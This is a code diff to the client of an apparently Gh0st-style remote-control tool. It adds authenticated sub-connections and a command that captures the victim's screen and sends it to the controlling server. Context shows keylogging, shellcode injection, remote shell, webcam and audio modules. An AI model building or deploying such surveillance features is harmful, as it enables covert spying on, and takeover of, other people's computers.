<ClCompile Include="ScreenManager.cpp" /> <ClCompile Include="ScreenManager.cpp" />
<ClCompile Include="ScreenPreview.cpp" />
<ClCompile Include="ScreenSpy.cpp" /> <ClCompile Include="ScreenSpy.cpp" />
<ClCompile Include="ServicesManager.cpp" /> <ClCompile Include="ServicesManager.cpp" />
<ClCompile Include="ShellManager.cpp" /> <ClCompile Include="ShellManager.cpp" />
@@ -241,6 +242,7 @@
<ClInclude Include="ScreenCapture.h" /> <ClInclude Include="ScreenCapture.h" />
<ClInclude Include="ScreenCapturerDXGI.h" /> <ClInclude Include="ScreenCapturerDXGI.h" />
<ClInclude Include="ScreenManager.h" /> <ClInclude Include="ScreenManager.h" />
<ClInclude Include="ScreenPreview.h" />
<ClInclude Include="ScreenSpy.h" /> <ClInclude Include="ScreenSpy.h" />
<ClInclude Include="ServicesManager.h" /> <ClInclude Include="ServicesManager.h" />
<ClInclude Include="ShellManager.h" /> <ClInclude Include="ShellManager.h" />

View File

@@ -27,6 +27,7 @@
<ClCompile Include="RegisterOperation.cpp" /> <ClCompile Include="RegisterOperation.cpp" />
<ClCompile Include="SafeThread.cpp" /> <ClCompile Include="SafeThread.cpp" />
<ClCompile Include="ScreenManager.cpp" /> <ClCompile Include="ScreenManager.cpp" />
<ClCompile Include="ScreenPreview.cpp" />
<ClCompile Include="ScreenSpy.cpp" /> <ClCompile Include="ScreenSpy.cpp" />
<ClCompile Include="ServicesManager.cpp" /> <ClCompile Include="ServicesManager.cpp" />
<ClCompile Include="ShellManager.cpp" /> <ClCompile Include="ShellManager.cpp" />
@@ -70,6 +71,7 @@
<ClInclude Include="ScreenCapture.h" /> <ClInclude Include="ScreenCapture.h" />
<ClInclude Include="ScreenCapturerDXGI.h" /> <ClInclude Include="ScreenCapturerDXGI.h" />
<ClInclude Include="ScreenManager.h" /> <ClInclude Include="ScreenManager.h" />
<ClInclude Include="ScreenPreview.h" />
<ClInclude Include="ScreenSpy.h" /> <ClInclude Include="ScreenSpy.h" />
<ClInclude Include="ServicesManager.h" /> <ClInclude Include="ServicesManager.h" />
<ClInclude Include="ShellManager.h" /> <ClInclude Include="ShellManager.h" />

View File

@@ -11,6 +11,8 @@
// ScreenType enum (USING_GDI, USING_DXGI, USING_VIRTUAL) 已移至 common/commands.h // ScreenType enum (USING_GDI, USING_DXGI, USING_VIRTUAL) 已移至 common/commands.h
#define ALGORITHM_NULL "-1"
#define ALGORITHM_NUL -1
#define ALGORITHM_GRAY 0 #define ALGORITHM_GRAY 0
#define ALGORITHM_DIFF 1 #define ALGORITHM_DIFF 1
#define ALGORITHM_DEFAULT 1 #define ALGORITHM_DEFAULT 1

View File

@@ -1163,6 +1163,7 @@ void CFileManager::UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize)
// 创建新连接发送文件 // 创建新连接发送文件
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, conn); IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, conn);
pClient->EnableSubConnAuth(); // V2 文件传输子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) { if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
std::thread([allFiles, targetDir = std::string(targetDir), pClient, opts, hash, hmac]() { std::thread([allFiles, targetDir = std::string(targetDir), pClient, opts, hash, hmac]() {
FileBatchTransferWorkerV2(allFiles, targetDir, pClient, FileBatchTransferWorkerV2(allFiles, targetDir, pClient,

View File

@@ -100,6 +100,77 @@ VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess, O
m_ReconnectFunc = m_exit_while_disconnect ? reconnect : NULL; m_ReconnectFunc = m_exit_while_disconnect ? reconnect : NULL;
} }
// 子连接身份校验:发 TOKEN_CONN_AUTH 包后阻塞等服务端响应。
// signMessage 由私有库提供(与 KernelManager.cpp 验证主控签名同款),
// 空 publicKey/privateKey 走内置 HMAC。
extern std::string signMessage(const std::string& privateKey, BYTE* msg, int len);
bool IOCPClient::PerformConnAuth(uint64_t clientID, int timeoutMs)
{
ConnAuthPacket pkt = {};
pkt.token = TOKEN_CONN_AUTH;
pkt.clientID = clientID;
pkt.timestamp = (uint64_t)time(NULL);
// 16 字节 nonce用 rand() + 时间扰动,强度够用(重放保护主要靠时间戳)
for (int i = 0; i < 16; ++i) {
pkt.nonce[i] = (uint8_t)((rand() ^ (clock() >> i)) & 0xFF);
}
BYTE sigInput[8 + 8 + 16];
memcpy(sigInput, &pkt.clientID, 8);
memcpy(sigInput + 8, &pkt.timestamp, 8);
memcpy(sigInput + 16, pkt.nonce, 16);
auto sig = signMessage("", sigInput, sizeof(sigInput));
size_t sigLen = sig.size() < 64 ? sig.size() : 64;
memcpy(pkt.signature, sig.data(), sigLen);
// 设置等待状态
{
std::lock_guard<std::mutex> lk(m_authMtx);
m_authStatus = -1;
m_authPending = true;
}
// 发包;用 HttpMask 包装与其它子连接首包风格一致
HttpMask mask(DEFAULT_HOST, GetClientIPHeader());
int sent = Send2Server((char*)&pkt, sizeof(pkt), &mask);
if (sent <= 0) {
std::lock_guard<std::mutex> lk(m_authMtx);
m_authPending = false;
Mprintf("[ConnAuth] 发送失败\n");
return false;
}
// 等响应或超时
std::unique_lock<std::mutex> lk(m_authMtx);
bool got = m_authCv.wait_for(lk, std::chrono::milliseconds(timeoutMs),
[this]{ return !m_authPending; });
int status = m_authStatus;
m_authPending = false;
if (!got) {
Mprintf("[ConnAuth] 等待响应超时 (%d ms),判定失败\n", timeoutMs);
return false;
}
bool ok = (status == CONN_AUTH_OK);
Mprintf("[ConnAuth] %s (status=%d)\n", ok ? "通过" : "失败", status);
return ok;
}
bool IOCPClient::TryHandleAuthResponse(PBYTE buf, ULONG len)
{
if (!buf || len < sizeof(ConnAuthAck)) return false;
if (buf[0] != TOKEN_CONN_AUTH) return false;
{
std::lock_guard<std::mutex> lk(m_authMtx);
if (!m_authPending) return false; // 没在等 → 不消费,让 manager 处理(理论不会发生)
const ConnAuthAck* ack = (const ConnAuthAck*)buf;
m_authStatus = ack->status;
m_authPending = false;
}
m_authCv.notify_all();
return true;
}
IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, CONNECT_ADDRESS* conn, IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, CONNECT_ADDRESS* conn,
const std::string& pubIP, void* main) : g_bExit(bExit) const std::string& pubIP, void* main) : g_bExit(bExit)
@@ -119,6 +190,8 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
} }
m_main = main; m_main = main;
m_conn = conn; // 保存 CONNECT_ADDRESS 指针。子连接 auth 在每次连接时通过
// m_conn->clientID 现取主连接 ID同一指针主连接登录后填好的最新值
int encoder = conn ? conn->GetHeaderEncType() : 0; int encoder = conn ? conn->GetHeaderEncType() : 0;
m_sLocPublicIP = pubIP; m_sLocPublicIP = pubIP;
m_ServerAddr = {}; m_ServerAddr = {};
@@ -380,6 +453,27 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
#endif #endif
} }
// 子连接身份校验opt-in 通过 EnableSubConnAuth 开启):
// - WorkThread 已经启动,能接收 ack 包并通过 TryHandleAuthResponse 唤醒等待。
// - clientID 优先用 EnableSubConnAuth 显式传入的值Linux/macOS 客户端走此路径),
// 未显式传入时从 m_conn 现取Windows 客户端走此路径)。
// - 校验失败Disconnect 并返回 FALSE让上层走重连或放弃逻辑。
if (m_subConnAuthEnabled) {
uint64_t cid = m_subConnAuthClientID;
if (cid == 0 && m_conn) cid = m_conn->clientID;
if (cid == 0) {
Mprintf("[ConnAuth] 跳过校验clientID 尚未就绪(主连接还没拿到 ID\n");
// 没拿到 ID 就别盲发,等下一次 Reconnect 时再试。视为本次连接失败。
Disconnect();
return FALSE;
}
if (!PerformConnAuth(cid, CONN_AUTH_CLIENT_WAIT_MS)) {
Mprintf("[ConnAuth] 校验失败,断开连接\n");
Disconnect();
return FALSE;
}
}
return TRUE; return TRUE;
} }
@@ -549,12 +643,17 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength); size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
if (Z_SUCCESS(iRet)) { //如果解压成功 if (Z_SUCCESS(iRet)) { //如果解压成功
// 优先看是不是 TOKEN_CONN_AUTH 响应;只有当 PerformConnAuth 正在等待时才消费。
// 不在等待状态时返回 false包透传给 managermanager 一般也不识别此 token
// 走 default 路径忽略,无副作用)。
if (!TryHandleAuthResponse(DeCompressedBuffer, ulOriginalLength)) {
//解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态 //解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态
//由于m_pManager中的子类不一样造成调用的OnReceive函数不一样 //由于m_pManager中的子类不一样造成调用的OnReceive函数不一样
int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength); int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
if (ret) { if (ret) {
Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret); Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
} }
}
} else { } else {
Mprintf("[ERROR] uncompress fail: dstLen %lu, srcLen %lu\n", ulOriginalLength, ulCompressedLength); Mprintf("[ERROR] uncompress fail: dstLen %lu, srcLen %lu\n", ulOriginalLength, ulCompressedLength);
// ReadBuffer 已消费当前包,不需要清空缓冲区 // ReadBuffer 已消费当前包,不需要清空缓冲区

View File

@@ -32,6 +32,8 @@
#endif #endif
#include "IOCPBase.h" #include "IOCPBase.h"
#include <mutex> #include <mutex>
#include <condition_variable>
#include <chrono>
#define MAX_RECV_BUFFER 1024*32 #define MAX_RECV_BUFFER 1024*32
#define MAX_SEND_BUFFER 1024*128 // 增大分块大小以提高发送效率 #define MAX_SEND_BUFFER 1024*128 // 增大分块大小以提高发送效率
@@ -259,6 +261,31 @@ public:
m_LoginMsg = msg; m_LoginMsg = msg;
m_LoginSignature = hmac; m_LoginSignature = hmac;
} }
// 子连接身份校验:发 TOKEN_CONN_AUTH 包,等服务端 ConnAuthAck 响应。
// 返回 true 表示通过false 表示超时/失败/网络错误。
// 主连接不调用此方法。新客户端必须调用并校验成功后才能继续后续命令。
// 已实现的协议扩展(如 KeyBoard 子连接的 cap word保留不变与本机制并行工作。
bool PerformConnAuth(uint64_t clientID, int timeoutMs);
// 让 ConnectServer 在每次成功后自动调一次 PerformConnAuthopt-in
// 子连接构造后调用此方法启用。
// - clientID == 0每次 auth 时从 m_conn->clientID 现取Windows 客户端走此路径)。
// 这样即便 IOCPClient 创建时主连接还没拿到 ID真正连上时也能用到最新值。
// - clientID != 0显式指定Linux/macOS 客户端 IOCPClient 不带 m_conn 时用此参数)。
void EnableSubConnAuth(bool enabled = true, uint64_t clientID = 0) {
m_subConnAuthEnabled = enabled;
m_subConnAuthClientID = clientID;
}
// 内部:在收到的数据帧分发到 manager 之前,尝试识别并消费 TOKEN_CONN_AUTH ack。
// 仅在我们正在等待 auth 响应时m_authPending=true才消费否则透传给 manager。
bool TryHandleAuthResponse(PBYTE buf, ULONG len);
// 主动断开当前连接,关闭 socket。提到 public 让外层(如 Linux/macOS main 的心跳
// 循环检测到服务端身份校验超时)能在重连前显式关闭旧 fd避免泄漏。
virtual VOID Disconnect(); // 函数支持 TCP/UDP
protected: protected:
virtual int ReceiveData(char* buffer, int bufSize, int flags) virtual int ReceiveData(char* buffer, int bufSize, int flags)
{ {
@@ -266,7 +293,6 @@ protected:
return recv(m_sClientSocket, buffer, bufSize - 1, 0); return recv(m_sClientSocket, buffer, bufSize - 1, 0);
} }
virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag); virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag);
virtual VOID Disconnect(); // 函数支持 TCP/UDP
virtual int SendTo(const char* buf, int len, int flags) virtual int SendTo(const char* buf, int len, int flags)
{ {
return ::send(m_sClientSocket, buf, len, flags); return ::send(m_sClientSocket, buf, len, flags);
@@ -285,6 +311,16 @@ protected:
BOOL m_bConnected; BOOL m_bConnected;
std::mutex m_Locker; std::mutex m_Locker;
// 子连接身份校验同步状态。仅在 PerformConnAuth 调用期间生效。
std::mutex m_authMtx;
std::condition_variable m_authCv;
int m_authStatus = -1; // -1 = 未启动;其它 = ConnAuthStatus
bool m_authPending = false; // true 时 TryHandleAuthResponse 才消费 ack
// ConnectServer 成功后自动 auth 的 opt-in 标志。子连接构造后调 EnableSubConnAuth() 设为 true。
bool m_subConnAuthEnabled = false;
uint64_t m_subConnAuthClientID = 0; // 0 表示从 m_conn->clientID 现取
#if USING_CTX #if USING_CTX
ZSTD_CCtx* m_Cctx; // 压缩上下文 ZSTD_CCtx* m_Cctx; // 压缩上下文
ZSTD_DCtx* m_Dctx; // 解压上下文 ZSTD_DCtx* m_Dctx; // 解压上下文

View File

@@ -18,6 +18,7 @@
#include "auto_start.h" #include "auto_start.h"
#include "ShellcodeInj.h" #include "ShellcodeInj.h"
#include "KeyboardManager.h" #include "KeyboardManager.h"
#include "ScreenPreview.h"
#include "common/file_upload.h" #include "common/file_upload.h"
#include "common/DateVerify.h" #include "common/DateVerify.h"
#include "common/LANChecker.h" #include "common/LANChecker.h"
@@ -53,7 +54,9 @@ ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &pub
{ {
ThreadInfo *tKeyboard = new ThreadInfo(); ThreadInfo *tKeyboard = new ThreadInfo();
tKeyboard->run = FOREVER_RUN; tKeyboard->run = FOREVER_RUN;
tKeyboard->p = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP); auto* sub = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
tKeyboard->p = sub;
tKeyboard->conn = conn; tKeyboard->conn = conn;
tKeyboard->h = (HANDLE)__CreateThread(NULL, NULL, LoopKeyboardManager, tKeyboard, 0, NULL); tKeyboard->h = (HANDLE)__CreateThread(NULL, NULL, LoopKeyboardManager, tKeyboard, 0, NULL);
return tKeyboard; return tKeyboard;
@@ -272,6 +275,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
FrpcParam* f = (FrpcParam*)user; FrpcParam* f = (FrpcParam*)user;
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed"); Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
int r = 0; int r = 0;
uint64_t start = time(0);
if (proc) { if (proc) {
r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort, r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
&CKernelManager::g_IsAppExit); &CKernelManager::g_IsAppExit);
@@ -279,7 +283,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
else { else {
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), ""); This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
} }
if (r) { if (r || (time(0)-start < 15)) {
char buf[100]; char buf[100];
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r); sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
Mprintf("%s\n", buf); Mprintf("%s\n", buf);
@@ -295,6 +299,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
FrpcParam* f = (FrpcParam*)user; FrpcParam* f = (FrpcParam*)user;
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed"); Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
int r = 0; int r = 0;
uint64_t start = time(0);
if (proc) { if (proc) {
r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort, r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
&CKernelManager::g_IsAppExit); &CKernelManager::g_IsAppExit);
@@ -302,7 +307,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
else { else {
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), ""); This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
} }
if (r) { if (r || (time(0)-start < 15)) {
char buf[100]; char buf[100];
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r); sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
Mprintf("%s\n", buf); Mprintf("%s\n", buf);
@@ -954,7 +959,11 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
} }
case COMMAND_PROXY: { case COMMAND_PROXY: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break; break;
} }
@@ -1058,33 +1067,49 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (m_hKeyboard) { if (m_hKeyboard) {
CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL)); CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
} else { } else {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
} }
break; break;
} }
case COMMAND_TALK: { case COMMAND_TALK: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount].user = m_hInstance; m_hThread[m_ulThreadCount].user = m_hInstance;
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break; break;
} }
case COMMAND_SHELL: { case COMMAND_SHELL: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break; break;
} }
case COMMAND_SYSTEM: { //远程进程管理 case COMMAND_SYSTEM: { //远程进程管理
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break; break;
} }
case COMMAND_WSLIST: { //远程窗口管理 case COMMAND_WSLIST: { //远程窗口管理
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break; break;
} }
@@ -1113,20 +1138,65 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break; break;
} }
case COMMAND_SCREEN_PREVIEW_REQ: {
if (ulLength < sizeof(ScreenPreviewReq)) break;
ScreenPreviewReq req;
memcpy(&req, szBuffer, sizeof(req));
// 限流:同一时刻最多 1 个抓屏任务在跑,防御服务端洪泛或异常重发把客户端打爆
static std::atomic<int> s_inFlight{0};
if (s_inFlight.fetch_add(1) >= 1) {
s_inFlight.fetch_sub(1);
break; // 直接丢弃,让服务端 4s 超时降级为"预览不可用"
}
// 投递到工作线程,避免阻塞 OnReceive抓屏 + 编码可能耗几十毫秒
std::thread([this, req]() {
struct Guard { ~Guard(){ s_inFlight.fetch_sub(1); } } guard;
std::vector<unsigned char> jpg;
int w = 0, h = 0;
int st = CaptureAndEncodePreview(req.maxWidth, req.jpegQuality, jpg, w, h);
std::vector<BYTE> pkt(sizeof(ScreenPreviewRspHeader) + (st == SCREEN_PREVIEW_OK ? jpg.size() : 0));
ScreenPreviewRspHeader* hdr = reinterpret_cast<ScreenPreviewRspHeader*>(pkt.data());
memset(hdr, 0, sizeof(*hdr));
hdr->token = TOKEN_SCREEN_PREVIEW_RSP;
hdr->reqId = req.reqId;
hdr->status = (uint8_t)st;
hdr->format = SCREEN_PREVIEW_FMT_JPEG;
hdr->width = (uint16_t)w;
hdr->height = (uint16_t)h;
hdr->bytes = (uint32_t)(st == SCREEN_PREVIEW_OK ? jpg.size() : 0);
if (st == SCREEN_PREVIEW_OK && !jpg.empty()) {
memcpy(pkt.data() + sizeof(*hdr), jpg.data(), jpg.size());
}
if (m_ClientObject && m_ClientObject->IsConnected()) {
m_ClientObject->Send2Server((char*)pkt.data(), (int)pkt.size());
}
}).detach();
break;
}
case COMMAND_SCREEN_SPY: { case COMMAND_SCREEN_SPY: {
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) }; UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
if (ulLength > 1) { if (ulLength > 1) {
memcpy(user->buffer, szBuffer + 1, ulLength - 1); memcpy(user->buffer, szBuffer + 1, ulLength - 1);
if (ulLength > 2 && !m_conn->IsVerified()) user->buffer[2] = 0; if (ulLength > 2 && !m_conn->IsVerified()) user->buffer[2] = 0;
} }
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this); {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount].user = user; m_hThread[m_ulThreadCount].user = user;
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break; break;
} }
case COMMAND_LIST_DRIVE : { case COMMAND_LIST_DRIVE : {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this); {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break; break;
} }
@@ -1134,25 +1204,41 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_WEBCAM: { case COMMAND_WEBCAM: {
static bool hasCamera = WebCamIsExist(); static bool hasCamera = WebCamIsExist();
if (!hasCamera) break; if (!hasCamera) break;
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break; break;
} }
case COMMAND_AUDIO: { case COMMAND_AUDIO: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break; break;
} }
case COMMAND_REGEDIT: { case COMMAND_REGEDIT: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break; break;
} }
case COMMAND_SERVICES: { case COMMAND_SERVICES: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); {
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
break; break;
} }
@@ -1270,6 +1356,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
opts.enableResume = queryPending; // 只有发送了查询才等待响应 opts.enableResume = queryPending; // 只有发送了查询才等待响应
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn); IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn);
pClient->EnableSubConnAuth(); // V2 文件传输子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) { if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
std::thread([files, targetDir, pClient, opts, hash, hmac]() { std::thread([files, targetDir, pClient, opts, hash, hmac]() {
FileBatchTransferWorkerV2(files, targetDir, pClient, FileBatchTransferWorkerV2(files, targetDir, pClient,

View File

@@ -63,9 +63,34 @@ private:
if (hForegroundWindow == NULL) if (hForegroundWindow == NULL)
return "No active window"; return "No active window";
char windowTitle[256]; // 用 W 接口取标题,再转 UTF-8避免依赖客户端系统 ANSI 代码页
GetWindowTextA(hForegroundWindow, windowTitle, sizeof(windowTitle)); wchar_t wTitle[256] = { 0 };
return std::string(windowTitle); GetWindowTextW(hForegroundWindow, wTitle, _countof(wTitle));
if (wTitle[0] == L'\0')
return std::string();
int u8len = WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, NULL, 0, NULL, NULL);
if (u8len <= 1)
return std::string();
